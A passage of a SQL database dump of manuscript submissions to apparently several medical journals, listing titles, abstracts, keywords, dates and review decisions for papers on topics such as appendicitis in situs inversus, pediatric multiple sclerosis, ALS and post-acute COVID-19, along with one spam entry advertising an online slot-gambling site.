of onset in the epigastrium with subsequent migration of the mesogastrium and right iliac fossa, associated with SIRS, anorexia and signs of irritation. peritoneal, in whom an open appendectomy was performed with the particularity of showing in the intraoperative ileocecal complex with macroscopic inflammatory characteristics of the left location and inverted position of the rest of the intra-abdominal organs, constituting a rare case of acute appendicitis in complete situs inversus.','Keywords: Acute appendicitis, situs inversus, congenital anomaly.',5279,NULL,'2022-04-22',NULL,'Submitted',2,NULL,'2022-05-30',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(12752,12998,73,0,'ipjnn-22-12752','Epidemiological  heterogeneity of multiple sclerosis and acquired demyelinating syndrome in children.',NULL,3,2,'Clinical Neurology and Translational Neuroscience','Heterogeneity represents a keyword in most epidemiological studies on pediatric multiple sclerosis (pMS). In fact, depending on study results, the pMS annual incidence varies from 0.15 up to 3 per 100000 children, the female to male ratio from 1.2 up to 4.5, and the percentage of pediatric-onset compared to adult-onset MS ranges from 1.6 up to 9.5%1. In particular, pMS represents one of the future outcomes of an acquired demyelinating syndrome (ADS) among children; nonetheless, its proportion at ADS onset is also a matter of debate','Acquired Demyelinating Syndrome , Pediatric Multiple Sclerosis ,Heterogeneity',327,NULL,'2022-04-25',NULL,'Submitted',19,NULL,'2022-04-27',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,4,0,NULL,0),(12753,12999,73,0,'ipjnn-22-12753','Potential of serological markers for evaluating neurological function and progression rate of amyotrophic lateral sclerosis',NULL,14,2,'Current Trends in Neurodegenerative Diseases and Medical Procedures','Amyotrophic Lateral Sclerosis (ALS), also known as Lou Gehrig’s disease, is a progressive neurodegenerative disorder characterized by loss of motor neurons in motor cortex, brainstem, and spinal cord that results in muscle weakness and atrophy, spasticity, compromised speech, swallowing, and breathing. There is currently no effective treatment for ALS that can reverse the progression of the disease. The main possible treatments include drug therapy, stem cell transplantation, omentum transplantation, gene therapy, respiratory support, and nutritional management. The prognosis of ALS is poor, and the rate of disease progression varies greatly. Rapidly progressing patients may involve the respiratory system within a few months due to respiratory failure, requiring assisted ventilation or even death, and slower progressing ones can even survive for 10 years or longer. Since the vast majority of ALS is fatal, it is very important to assess the prognosis, which can help patients plan their lives better.','Amyotrophic Lateral Sclerosis ,Disease Progression Rate ,Homocysteine',332,NULL,'2022-04-25',NULL,'Submitted',2,NULL,'2022-11-03',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(12755,13000,45,0,'iphsj-22-12755','Factors Influencing Hepatitis B Virus Co-Infection among HIV Patients Attending Health Care Services in Mungula Health Centre IV Adjumani District, West Nile Region Uganda. Hospital-based cross-sectional study',NULL,14,0,'','Abstract \r\nBackground: Hepatitis B virus is the primary leading cause of morbidity and mortality among HIV patients and remains a remarkable public health burden. The global prevalence of co-infection is 7.4%, 23% in Uganda, and 1.68% in the Adjumani district. In 2016, The World Health Assembly endorsed the global health sector strategy on viral hepatitis, which calls for the elimination of viral hepatitis as a public health threat by 2030. As a measure, Uganda adopted WHO guidelines that recommend hepatitis B testing in all HIV-infected patients, but only 46% of them have screened. Therefore, this study assessed factors influencing HBV co-infection among HIV patients attending ART clinics in Mungula health center IV, Adjumani district.\r\nMethods: The study employed a hospital-based cross-sectional study design where 226 respondents were interviewed using researcher administered technique. Purposive and simple random sampling techniques were used to select the study unit and respondents. In the analysis, the Chi-square test established the level of association between each independent variable and HBV-co-infection while binary logistic regression analysis determined factors accountable for co-infection in HIV patients using an odds ratio at 95% confidence interval. \r\nResults: 14.16% out of 226 respondents were found co-infected. The factors found associated included HBV screening [OR=3.29, 95%CI: 1.071-10.137, p-0.02], Vaccination against HBV [OR=12.018, 95%CI: 1.93-74.825, p-0.004)]. Expenses in accessing vaccination services [OR=6.137, 95%CI: 2.025-18.601, p-0.018] were contributing factors to the co-infection;\r\nConclusion: Extension of HBV screening and treatment services to all HIV clients through community outreaches. \r\n','Keywords; HIV, HBV, and HIV/HBV co-infection.',685,NULL,'2022-04-25',NULL,'Submitted',2,NULL,'2022-05-19',NULL,1,1,'1','great',0,'','',NULL,0,0,0,NULL,0),(12756,13001,971,0,'ipaclr-22-12756','Pertinence of the immunofixation prescription in the restrictions of heterogeneity of the gammaglobulin zone',NULL,17,0,'',' Monoclonal gammopathies are generally characterized by the presence of a narrow peak in the gamma globulin. However, a small deformation that alter the Gaussian appearance of gamma globulins and called gamma globulin heterogeneity restrictions, may mask a monoclonal gammopathy. Our objective is to study the relevance of prescribing an immunofixation in the face of a heterogeneity restriction. \r\nThis is a retrospective study of all serum protein electrophoreses completed by immunofixation.\r\n16 patients had gamma globulin heterogeneity restriction. Immunofixation revealed that 12 cases (75%) out of 16 were monoclonal gammopathies.\r\nIt can be concluded that gamma heterogeneity restrictions in elderly patients are probably monoclonal gammopathies.\r\n','immunofixation prescription, restrictions of heterogeneity, serum protein electrophoresis',3249,NULL,'2022-04-27',NULL,'Submitted',2,NULL,'2022-06-15',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(12758,13003,45,0,'iphsj-23-12758','A Study of Menstrual Hygiene Practices and its Impact on Academic Performance among Adolescent Girls',NULL,15,3,'','Menarche is the most important event in the life of an adolescent girl. During this transition, girls will experience menarche and significant changes in lifestyle, behavior, growth, and development. The purpose of this study was to better understand the challenges girls face due to menstrual hygiene practices and its impact on academic performance and present recommendations to create a supportive school and home environment for adolescent girls in Haryana State. The study was conducted on 240 adolescent girls in the age group of 10-14years and 15-19 years belonging to rural and urban areas of Hisar district. Self-developed schedules were used to delineate personal, socio-personal variables and facilities at home and school in terms of menstrual hygiene management.  For the present study academic performance was measured by self –developed interview schedule. Frequency, percentages, means, standard deviation, Z- test, ANOVA and chi-square tests were used to analyse the data as per objectives. The study found that facilities at school in terms of menstrual hygiene management, girls reported lack of proper disposal system for sanitary materials and lack of availability of changing rooms. Nearly half of respondents reported lack of open discussion from family on menstrual hygiene management issues. Majority of respondents of rural background were unsatisfied with the family communication and guidance on menstrual hygiene management they received at homes. Present research has found that a substantial portion of girls‟ of menstrual hygiene impact on academic achievement. Rural respondent’s academic performance had more effected as comparison to urban respondents.','Adolescents, academic performance, menstrual hygiene management, home and school envirnoment',643,NULL,'2022-04-27',NULL,'Submitted',12,NULL,'2023-12-11',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(12759,12962,45,0,'iphsj-22-12759','DEFENSE MECHANISMS AND DYSFUNCTIONAL PERSONALITY FACTORS IN SUBSTANCE ABUSE IN PATIENTS',NULL,14,0,'','Aim and Background: Defence Mechanisms are known to be the actions of the ego that take place in times where anxiety arises due to intrapsychic conflict in an individual’s mind.  Personality can be defined as a set of characteristics that are relatively permanent and lifelong (Schultz & Schultz, 2005). Substance abuse is the term used when the tolerance for the substance increases, absence of the substance gives withdrawal symptoms, and its consumption causes clinically significant distress in social, occupational or recreational life (APA, 2013).The present research attempts to understand the relationship between the above three constructs. \r\nMethod: Purposive sampling was done from two de-addiction and rehabilitation centres (N=100), and the following three questionnaires were used: The CAGE- AID by Brown and Rounds (1995) was used to screen patients for substance abuse, PID V-BF by Krueger, Derringer, Markon, Watson, Skodol (2012) was used to assess personality dysfunction, the Defense Mechanisms Inventory by Mrinal and Singhal (1984) was used to assess the clusters of defenses being used by the patients. \r\nResults: The findings suggested a significant positive correlation between substance abuse and Negative affectivity domain (.264, p= .008) and Disinhibition domain (.225, p= .024) of personality dysfunction; and a significant positive correlation between substance abuse and Turning against object cluster (.242, p= .015) of defense mechanisms in patients. These findings were consistent with the literature review. \r\nFindings: These findings may have implications in treatment by identifying the ego defenses that the patient uses in the course of treatment and aiming towards the eradication of any such maladaptive defenses in order to increase the acceptance of the patient towards the treatment.','Defense Mechanisms, Dysfunctional Personality, Substance Abuse',686,NULL,'2022-04-27',NULL,'Submitted',2,NULL,'2022-08-23',NULL,1,1,'0','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(12760,13004,277,0,'ipadm-22-12760','Dificultades en la implementación de un protocolo de cirugía segura en Sudamérica: una revisión sistemática',NULL,15,0,'','Meta: Identificar las principales dificultades en la implementación de listas de verificación de seguridad quirúrgica en países de América del Sur y sugerir enfoques para mejorar la inserción de protocolos.\r\nMétodo: Revisión sistemática utilizando Scientific Electronic Library Online (SciELO), Literatura Latinoamericana en Ciencias de la Salud (LILACS), PubMed y Science Direct como base de datos, desde 2010 hasta abril de 2021.\r\nResultados: 19 artículos incluidos en la revisión. Argentina y Brasil fueron los únicos países que contaron con este tipo de publicaciones. De los artículos que abordaron los elementos prioritarios (n=11), el error más relevante estuvo en el ítem “Tiempo fuera” 55% (n=6), seguido de “Iniciar sesión” con 27% (n=3). En la percepción de los profesionales de la salud, la falta de conocimiento del proceso, la adherencia al equipo y la jerarquía quirúrgica aparecen como barreras en la implementación efectiva de la lista de verificación.\r\nConclusión: El desconocimiento, la escasa y desigual capacitación del protocolo a los equipos de salud involucrados fueron los principales factores que influyeron negativamente en la adherencia al protocolo. La jerarquía de los cirujanos se mencionó como un factor limitante. Los responsables de los equipos de salud juegan un papel fundamental a la hora de fomentar la participación de todo el equipo implicado, mejorando la comunicación entre ellos y asegurando el compromiso por unas cirugías más seguras.\r\n','Lista de chequeo; Procedimiento quirúrgico; Seguridad del Paciente',4947,NULL,'2022-04-27',NULL,'Submitted',2,NULL,'2022-08-19',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(12762,13008,45,0,NULL,'Daftar Situs Deposito Demo Slot Pragmatic Play',NULL,15,1,'Daftar Situs Deposito Demo Slot Pragmatic Play','LAS4D adalah daftar situs deposito mesin slot pembayaran bergerak demo slot pragmatic play, penyedia games judi terlengkap dan terbaik di Indonesia, bisa deposit via bank, e-wallet dan juga pulsa. Minimal depo hanya 25 ribu.','deposito slot, mesin slot, slot login, slot online, demo slot, pragmatic play, jackpot progresif, perjudian daring, top slot raja slot, line slot, qq slot, slot pembayaran bergerak',5375,NULL,'2022-04-28',NULL,'Submitted',4,NULL,'2022-05-17',NULL,1,0,'0',NULL,0,'','',NULL,0,0,0,NULL,0),(12769,13011,971,0,'ipaclr-22-12769','Comparative LCMS/MS Drug Analysis of paired Urine, Oral Fluid and Capillary Blood Samples in Addiction Therapy',NULL,14,0,'','Background: For many years, drug of abuse analysis was typically performed on urine using enzyme immunoassays with gas chromatography–mass spectrometry (GCMS) confirmation. However, analytical instruments improved significantly over the last decades, allowing analysis of smaller sample volumes and other matrices, such as capillary blood and oral fluid, with lower drug concentrations. To our knowledge, the present study is the first to compare the matrices urine, capillary blood and oral fluid using similar analytical techniques and paired samples.\r\nMethod: Samples were collected from patients admitted for detoxification to Huyssens-Stiftung, Essen, Germany over a period of maximum 14 days. Each patient provided samples of all three matrices at almost the same time during each collection cycle. All analyses were performed with liquid chromatography with tandem mass spectrometry (LCMS/MS).\r\nResults: Detection periods vary between the matrices depending on the analytes and several positiv results in one matrix could not be confirmed in one or two of the others. In particular capillary blood showed some implausible results.  \r\nConclusion: It depends on the formulation of the question which of the matrices is better suitable for any given purpose. The highest positive rates, for example, for 6-Monoacetylmorphine (6-MAM) can be found in oral fluid, and the longest detection periods for cannabis and benzodiazepine detection can be found in urine. Although, again depending on the formulation of the question, the very long detection periods may make it advisable to use a cut off for urine in the range of 10 to 50 ng/ml, depending on the analyte.\r\n\r\nEthical approval: The study was authorized by the ethics commission of the Medical Faculty, University of Duisburg-Essen/Germany on July 15th, 2016.\r\n','urine, oral fluid, capillary blood, lcms/ms',5347,NULL,'2022-05-02',NULL,'Submitted',2,NULL,'2022-06-21',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(12770,13012,73,0,'ipjnn-22-12770','Psychomotor dysfunction in Rasopathies',NULL,2,2,'Detailed Exploration of Schizophrenia','Rasopathies are developmental disorders characterised by postnatal growth retardation with delayed skeletal maturation, psychomotor dysfunction, cutis laxa, and acanthosis nigricans and resulting from germline mutations of the protooncogene HRAS. Many of these mutations affect SHP2, SOS1, RAS, RAF and MEK proteins. Dr. White says a group of related disorders including Costello syndrome, Noonan syndrome (NS), cardiofaciocutaneous (CFC) syndrome, and neurofibromatosis 1 (NF1), caused by abnormal functioning of  Ras‐mitogen‐activated protein kinase (RAS/MapK) signalling pathway that controls cell proliferation, differentiation and survival. In this pathway, Ras, a GTPase, transmits extracellular signaling from receptor tyrosine kinases to two serine/threonine kinases (Raf and MEK) and to the activation of MAPKs.  Psychosomatic dysfunction is a common feature of rasopathies. Isoprenylation involves the enzyme farnesyl transferase (FTase) transferring a farnesyl group from farnesyl pyrophosphate (FPP) to the pre-Ras protein. Pathway modulators or small molecule inhibitors such as statins causes significant improvement in verbal and nonverbal memory, visual attention & efficacy by inhibiting the posttranscriptional lipid modification of RAS. RAF-1 inhibition by C-type Natriuretic Peptide (CNP) improved bone growth in preclinical animal models and it is a potential targeted therapeutic drug to improve the stature of patients. Gene correction of the germline mutations to restore normal protein functions is anticipated as a new therapeutic option. Oxidative stress and free radicals- determine non-neoplastic clinical features such as elastin anomalies, alteration of skin and appendages, developmental retardation and cardiac defects. PAR therapy (potassium ascorbate with ribose).  causes a reduction in oxidative stress biomarkers in parallel with improvement of clinical features. It combines the antioxidant action of vitamin C with stabilizing intracellular effects of potassium and causes improvement of skin and appendage lesions, better evolution of psychomotor development, no Progression of heart hypertrophy, nor tumor development. It is low cost, no side-effects, orally administered and useful for all genetic syndromes.','Psychosomatic dysfunction, Noonan syndrome, Rasopathies, PAR therapy, enzyme farnesyl transferase.',326,NULL,'2022-05-04',NULL,'Submitted',2,NULL,'2022-11-03',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(12771,13013,86,0,'ipaom-22-12771',' Reference values of left ventricular  mechanical dispersion assessed by two-dimensional   longitudinal speckle-tracking strain in normal subjects',NULL,14,0,'','Background:. \r\nLeft ventricular mechanical dispersion measured by two dimensional speckle tracking echocardiography (MD) is a novel strain derived parameter,that reflects temporal cardiac contraction heterogeneity and has consequently gained attention as a predictor of increased arrhythmic risk in selected cardiac diseases .\r\nThere is increasing interest in assessment of left ventricular mechanical dispersion but normal data are limited .\r\nMethods: We prospectively studied, 50 adult outpatients with normal diastolic function and normal LV EF.A complete two dimensional echocardiography examination was performed,including speckle tracking with measurements of LV systolic global longitudinal strain and Mechanical Dispersion on a commercially available system Epiq7.\r\n Time intervals from start Q/R on electrocardiogram to peak negative strain during the study  were assessed. Mechanical dispersion was defined as the standard deviation of this time interval from 16 left ventricular segments, reflecting myocardial contraction heterogeneity.\r\np value is significant at <0.05\r\nResults: The values of GLS among the studies varied from /-16.7/ to /-24.2%/ (mean GLS= -19±1.59%), p.0.0001, (T.N1)\r\nThe values of MD varied from 1.4 to 33.6 (mean MD-14. 4±8.5), p.0.0002(Image#1)\r\nThe values of EF varied from 55% to 63% (mean EF-58±2.5),p.0.0004\r\nAge of patients varied from 16 to 52, (mean age-60.8), n=52, %, 26 were male, n=48%, 24 were female\r\nConclusion: \r\n1) This study determined values of mechanical dispersion in subjects with a normal EF and normal GLS\r\n2) Further studies are needed to clarify the relation between mechanical dispersion and different cardiac disease\r\n','GLS,Mechanical dispersion,Diastolic function',410,NULL,'2022-05-04',NULL,'Submitted',2,NULL,'2022-07-04',NULL,1,1,'1','accept',0,'','',NULL,0,0,0,NULL,0),(12773,9267,45,0,NULL,'ENFERMEDAD DE LA COVID-19 POSAGUDA – CRÓNICA',NULL,15,0,'','Un nuevo coronavirus surgió en Wuhan-China a finales del año 2019, aparentemente se originó en un mercado mayorista de marisco de dicha ciudad por el paso del virus desde un animal de vida silvestre, probablemente un murciélago o pangolín al ser humano. Este coronavirus consiguió una importante adaptación en el organismo y generó una nueva enfermedad a la que se la denomino la COVID-19, causante del Síndrome de Dificultad Respiratoria Aguda (SDRA). Es realmente poco lo que se sabe acerca de las posibles consecuencias a mediano y largo plazo de esta nueva enfermedad. Muchos de los pacientes debido a la gravedad de su enfermedad y/o debido al manejo invasivo instaurado en ellos, desarrollarán secuelas que podrían ser permanentes y que de una u otra manera son plausibles mediante exámenes de extensión solicitados por el personal sanitario. Así mismo, se hace fundamental tener en cuenta el conocimiento que nos han proporcionado las epidemias pasadas ocasionadas por otros coronavirus similares, que generaron en su momento el Síndrome respiratorio agudo grave (SARS) del 2003 y el Síndrome respiratorio de oriente medio (MERS) del 2012. Por lo tanto, en la presente revisión bibliográfica serán expuestas las consecuencias a mediano y largo plazo que han generado otros coronavirus y que podría generar al que se lo ha denominado coronavirus tipo 2 del síndrome respiratorio agudo grave (SARS-CoV-2).','Síndrome, covid-19, covid persistente, post-agudo, crónico, covid largo',4824,NULL,'2022-05-05',NULL,'Submitted',4,NULL,'2022-05-06',NULL,1,0,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(12774,13015,971,0,'ipaclr-22-12774','Clinical significance of flow cytometry findings in brazilian patients with de novo acute myeloid leukemia',NULL,14,0,'','Introduction: Immunophenotyping by flow cytometry (FC) is an essential method for diagnosis and classification of acute myeloid leukemias (AML), and its extensive use could identify blast cell subpopulations with phenotypes rarely seen in normal myelopoiesis, correlating with clinical, morphological and prognostic characteristics. Methods: In this study we analyzed 143 cases of AML, examining them for leukemia-associated immunophenotype (LAIP) by FC immunophenotyping in leukemic cells using a panel of monoclonal antibodies (MoAb) for diagnosis and classification of acute leukemia (AL). At the same time, clinical, demographic and hematological data of these patients were also investigated. Most patients were male adults and splenomegaly and hepatomegaly were present in most cases. Results: Immunophenotyping showed a characteristic profile of AML with expression of pan-myeloid antigens CD13, CD33 and myeloperoxidase (MPO), combined with CD34 and CD117 in most cases. Expression of CD14 and CD64 were observed in AML with monocytic component (AML-M4/M5), CD235a, CD36 and CD71 in cases of erythroleukemia (AML-M6) and platelet glycoproteins CD41, CD42b and CD61 in acute megakaryocytic leukemia (AML-M7). Regarding the aberrant phenotype, higher levels of expression of CD4, CD7 and CD56 were observed, corresponding to 24.5%, 22.4%, and 16.1% of the cases, respectively. Conclusion:  We conclude that LAIP, as they are described here, were present in the vast majority of cases of investigated AML, with a relevant association with prognostic factors, clinical data, cytomorphological classification','Immunophenotyping; Flow cytometry; Monoclonal antibodies; Acute myeloid leukemia; Leukemia-associated immunophenotype',3249,NULL,'2022-05-06',NULL,'Submitted',2,NULL,'2022-06-21',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(12777,13018,73,0,'ipjnn-22-12777','Pediatric neuromyelitis optica and it management in rural practice in north Togo : about a 13-year-old young girl and review of literature',NULL,2,0,'','Considered for a long time as a particular form of multiple sclerosis (MS), Devic\'s disease generally occurs in young women between 20 and 40 years old. This neuro-immunological disease can affect children and adolescents. It was the case of a 13-year-old student who came to the clinic with a walking disorder of insidious onset and ascending progression. Guillain-Barré syndrome was the first diagnosis retained but when visual troubles occurred, the medullary MRI and the search for anti Aquaporine-4 (AQP-4) antibodies where done. The medullary MRI showed a hypersignal in T2 weighted extended on 6 vertebrae at the cervical level. The anti-AQP-4 antibody was positive. Devic\'s disease was then recognized in this young girl who was given intravenous (IV) corticosteroid. The lack of the therapeutic arsenal in our region did not allow the patient to receive plasma exchange and IV immunoglobulin as recommended by the guidelines. However, with corticosteroid therapy at 30 mg/kg/day for 5 days, the neurological disorders stabilized. With Azathioprine as preventive treatment and physiotherapy, the patient improved after 3 months, without complete recovery.','Devic\'s neuromyelitis optica; Childhood; Togo; Sub-Saharan Africa.',332,NULL,'2022-05-07',NULL,'Submitted',2,NULL,'2022-06-28',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(12779,13020,277,0,'ipadm-22-12779','Reporte de caso: Diabetes Insípida Central en Paciente con Neumonía COVID-19 Crítico en Tratamiento con Oxigenación por Membrana Extracorpórea',NULL,2,0,'','El siguiente reporte de caso, analiza a un paciente con Oxigenación por Membrana Extracorpórea (ECMO), que sufrió de un Síndrome de Distress Respiratorio Agudo (SDRA) secundario a Neumonía por COVID-19. Durante la hospitalización, el paciente presenta poliuria masiva posteriormente catalogada como Diabetes Insípida Central (DIC), explicada probablemente por el daño que la hipoxia generó en el sistema nervioso central. Hay pocos reportes de esta complicación en COVID-19. El caso es sobre una mujer de 39 años, que inicio terapia ECMO a los 6 días de haber iniciado Ventilación Mecánica Invasiva. Al quinto día de ECMO, comienza con poliuria de 7 litros en 24 horas. Se realizaron múltiples estudios para determinar la causa de la poliuria, no se encontró presencia de lesiones a nivel de sistema nervioso central, pero posterior al inicio de tratamiento con desmopresina y de la resolución de SDRA, la poliuria mejoró por lo que se consideró DIC. Se ha demostrado una gran variedad complicaciones secundarias a la infección por COVID-19, esta podría se una de las que aun se encuentra en estudio.','Oxigenación por Membrana Extracorpórea, COVID-19, Diabetes Insípida, Neurogénica, Síndrome de Distress Respiratorio',5023,NULL,'2022-05-10',NULL,'Submitted',2,NULL,'2022-08-19',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(12781,13022,975,0,'ipjbs-22-12781','PROSPECT OF BUTTON MUSHROOM (Agaricus bisporus (J.E. Lange) Imbach) AND SHITAKE (Lentinula edodes (Berk) Pegler) AS AN ANTIBACTERIAL AND COLORECTAL ANTI-CANCER',NULL,14,0,'antibacterial and anticancer','The aim of this study is obtaining sensitive extract to Enterococcus faecalis ATCC 29212, Eschericia coli ATCC 25922, and Salmonella typhimurium ATCC 49416, obtaining IC50 values and getting effective extract as colon anticancer with the HCT-116 cell line. This study use experimental and study literature. The measured parameter was the Inhibition Zone using disk diffusion, percentage of inhibition of HCT-116 cell lines using the MTT-assay method, the data were analyzed probit to determine the IC50 value. The result study found that the largest inhibition zone of indicated  bacterial test  E. faecalis  administered mushroom extract of the concentration studs 100mg/ml by 32.53 mm. IC50 value for Agaricus bisporus is 29.20 ppm and for Lentinula edodes is 6.11 ppm. According to U.S National Cancer Institute, the lower the IC50 value, the higher the cytotoxic activity. In summary ethyl acetat extract of fruit body sensitive to test bacterial, in anticancer test show that Lentinula edodes have more effectiveness to inhibit proliferation HCT-116.','Agaricus bisporus, Enterococcus faecalis, Eschericia coli,  HCT-116, IC50, Lentinula edodes, MTT-based cytotoxicity assay, Salmonella typhimurium',4089,NULL,'2022-05-14',NULL,'Submitted',2,NULL,'2022-08-02',NULL,1,1,'0','accept',0,'','',NULL,0,0,0,NULL,0),(12782,13024,86,0,'ipaom-22-12782','Development of a Novel SARS-CoV-2 Immune Complex Vaccine Candidate (CRCx) with Broad Immune Responses: A Preclinical Trial in Animal Model.',NULL,14,2,'','Background: The ongoing pandemic of COVID-19, caused by severe acute respiratory syndrome coronavirus 2 (SARS-CoV-2), poses a serious threat to global public health and imposes a severe burden on the entire human population. Faced with a virus that can mutate its structure while immunity is incapacitated, a need to develop a universal vaccine that can boost immunity to coronaviruses is highly needed. \r\nDesign: Five formulations of two types (CRCx2 and CRCx3) of immune complexes with an immunogen adjuvant were evaluated in a mouse model as candidate SARS CoV-2 vaccines in a pretrial prior to clinical trials in humans. CRCx3 comprises 3 different formulas and CRCx2 comprises 2. Balb/c mice were vaccinated intraperitoneally on days 0/7 with a high or low dose of CRCx2 or on days 0/7/14 with a high, medium, or low dose of CRCx3 series, and their blood was sampled for serum antibody measurements. Mice were challenged with live virus after immunization with either vaccine to evaluate prophylaxis ability or treated with them after challenge to evaluate therapeutic ability on day 15. Immunological markers and histopathological studies as well as titration of neutralizing antibodies to the vaccines were evaluated and analyzed. Results: CRCx 3 and CRCx 2 vaccine candidates induced elevated levels of positive neutralizing antibodies as well as a cellular immune response with safety, efficient productivity, and good genetic stability for vaccine manufacturing to provide protection against SARS-CoV-2 with relatively higher levels with the high dose CRCx2 candidate combination. \r\nConclusions: Highly efficient protection and therapeutic effect against SARS-CoV-2 were obtained with a double-dose immunization schedule spaced at 7-day intervals using injections of 0.25 or 0.40 ml of CRCx2 vaccine formulations with a 25-mm needle. These results support further evaluation of CRCx in a clinical trial on humans.\r\n','SARS-CoV-2; Vaccine; Immunogenicity; CD8+ Cytotoxic T Lymphocyte; CD4+ Helper Cells; Neutralizing Antibodies; Spike (S) protein; Immune Complex; CRCx.',3066,NULL,'2022-05-15',NULL,'Submitted',19,NULL,'2022-05-18',NULL,1,1,'0',NULL,0,'','',NULL,0,4,0,NULL,0),(12783,9267,45,0,'iphsj-22-12783','Approach to patient management IN CRITICAL CONDITION.',NULL,14,0,'','Behaviors in the critical care unit are the fundamental pillar to reduce the morbidity and mortality of patients; diagnostic accuracy and the development of attitudes and skills of health personnel should be the reason for success, however there is little literature that guides the work to meet the desired objective, This publication makes an approach by proposing an easy-to-remember and use strategy when a patient is in critical condition, the most common pathologies are included, their exact diagnosis and how the interdisciplinary group participates in the comprehensive management in the Intensive Care Unit\r\n(ICU).','Critical pathologies; ICU Intensive Care Unit; Clinic; Driving',5384,NULL,'2022-05-17',NULL,'Submitted',2,NULL,'2022-06-15',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(12784,9267,45,0,'iphsj-22-12784','REVIEW ARTICLE. THE IMPACT OF CAFFEINE AND ENERGY DRINKS ON HEALTH, ESPECIALLY IN HIGH-PERFORMANCE ATHLETES.',NULL,15,0,'','According to Resolution 4150 of 2009 of the Ministry of Social Protection, an energy drink (stimulant) is a non-alcoholic beverage, generally carbonated, basically composed of caffeine, carbohydrates and various sugars of different absorption speed, plus other ingredients such as amino acids, vitamins, minerals and vegetable extracts, accompanied by acidulant additives, preservatives, flavorings and colorings.\r\nThese have been shown to generate detrimental effects on health after consumption, due to their components.\r\nSide effects have been reported at the neurological and cardiovascular levels, in addition to being associated with withdrawal symptoms, such as headache, irritability, drowsiness, alterations in mental state, insomnia, tremor, nausea, restlessness, palpitations, anxiety, gastrointestinal disorders and increased blood pressure. Other studies have shown possible clastogenic and cytotoxic effects of energy drinks.\r\nAmong the effects evidenced in multiple studies, an increase over the basal level of systolic blood pressure between 9-10 mmHg and diastolic of 3 mmHg has been observed after the consumption of Red Bull, likewise, an increase in heart rate of approximately 5 to 7 beats / min, an increase in cardiac output, respiratory rate, an increase in vascular resistance at brain level, a decrease in blood flow velocity of the brain, among others, has been evidenced. As time went by, this became more noticeable in the marking, and an increase in both systolic and diastolic blood pressure was observed after the consumption of energy drinks, as well as an increase in heart rate, serum noradrenaline values by 75%, and an increase in the QT interval by 5%. In one study, it was also evidenced that, after the consumption of large amounts, there was a prolongation of the QTc interval of up to 20 ms, which is significant when correlated with the risk of arrhythmias; it is important to consider that an increase of more than 10 ms is considered worrisome.\r\nThe use of caffeine at mild to moderate doses in order to generate a short-term ergogenic effect is safe and effective. It is important to take into consideration prior to supplementation the form of presentation, concentration, interactions, time of administration among other things to maximize the benefit and avoid adverse effects of these beverages.','energizers and cardiovascular effect, cardiac condition due to energizers, energizers, heart disease, energizers in athletes, energizers in high-performance athletes, taurine, caffeine.',5385,NULL,'2022-05-17',NULL,'Submitted',2,NULL,'2022-06-01',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(12785,13026,45,0,'iphsj-22-12785','CHRONOTYPE, DEPRESSION AND PHYSICAL ACTIVITY: A RELATIONSHIP TO BE STUDIED?',NULL,14,0,'','INTRODUCTIONː Preferences for certain times of day to perform daily activities have been the focus of several investigations. Individuals with evening preference exhibit higher scores for depressive symptoms and less involvement in physical activities compared to morning and intermediate chronotypes. On the other hand, physical activity is an intervention that has shown great promise in alleviating symptoms of Major depressive disorder.\r\nEVIDENCE ACQUISITIONː This study aimed to perform a narrative review of the available evidence of possible relationships between chronotype, depression and physical activities. The Electronic searches of the published literature were performed in the databases National Library of Medicine National Institutes of Health, in 2019, for the last five years in the adult population. The results were grouped into three categories, chronotype and depression in adults; depression and exercise/physical activity in adults; chronotype and exercise/physical activity/sport in adults.\r\nEVIDENCE SYNTHESISː the importance of physical activities in combating depression is quite evident in the literature, showing an inverse relationship between the level of physical activity and depressive symptoms.\r\nCONCLUSIONSː However, many studies on depressive individuals do not identify the chronotype as an important tool to integrate chronobiological aspects of human behavior in the treatment of this disease. This review provides evidence for the scarcity of studies on the relationship between chronotype, depression and physical activity.','Key words: depression; chronotypes; physical activity; exercise; adults; sport.',4076,NULL,'2022-05-17',NULL,'Submitted',2,NULL,'2022-05-31',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(12786,9267,45,0,'iphsj-22-12786','POST-ACUTE COVID-19 DISEASE – CHRONIC',NULL,15,0,'','A new coronavirus emerged in Wuhan-China at the end of 2019, apparently originating in a wholesale seafood market in that city due to the passage of the virus from a wildlife animal, probably a bat or pangolin, to humans. This coronavirus achieved an important adaptation in the body and generated a new disease that was called COVID-19, which causes Acute Respiratory Distress Syndrome (ARDS). Little is really known about the possible medium and long-term consequences of this new disease. Many of the patients, due to the severity of their disease and/or due to the invasive management established in them, will develop sequelae that could be permanent and that in one way or another are plausible through extensive tests requested by the health personnel. Likewise, it is essential to take into account the knowledge provided by past epidemics caused by other similar coronaviruses, which at the time generated the Severe Acute Respiratory Syndrome (SARS) of 2003 and the Middle East Respiratory Syndrome (MERS) of the 2012. Therefore, in this bibliographic review, the medium and long-term consequences that other coronaviruses have generated and that could generate the one that has been called severe acute respiratory syndrome coronavirus type 2 (SARS-CoV-2) will be exposed.','Syndrome, covid-19, persistent covid, post-acute, chronic, long covid, covid long haulers, long haul covid.',4824,NULL,'2022-05-18',NULL,'Submitted',2,NULL,'2022-06-03',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(12787,13028,91,0,'ijddr-22-12787','IN-VIVO ANTI-INFLAMMATORY POTENTIAL OF MALVASTRUM TRICUSPIDATUM',NULL,14,2,'','Anti-inflammatory activity of plant Malvastrum Tricuspidatum was evaluated by in-vivo (carrageenan induced paw edema in rats) method. To evaluate anti-inflammatory activity; rats were divided into 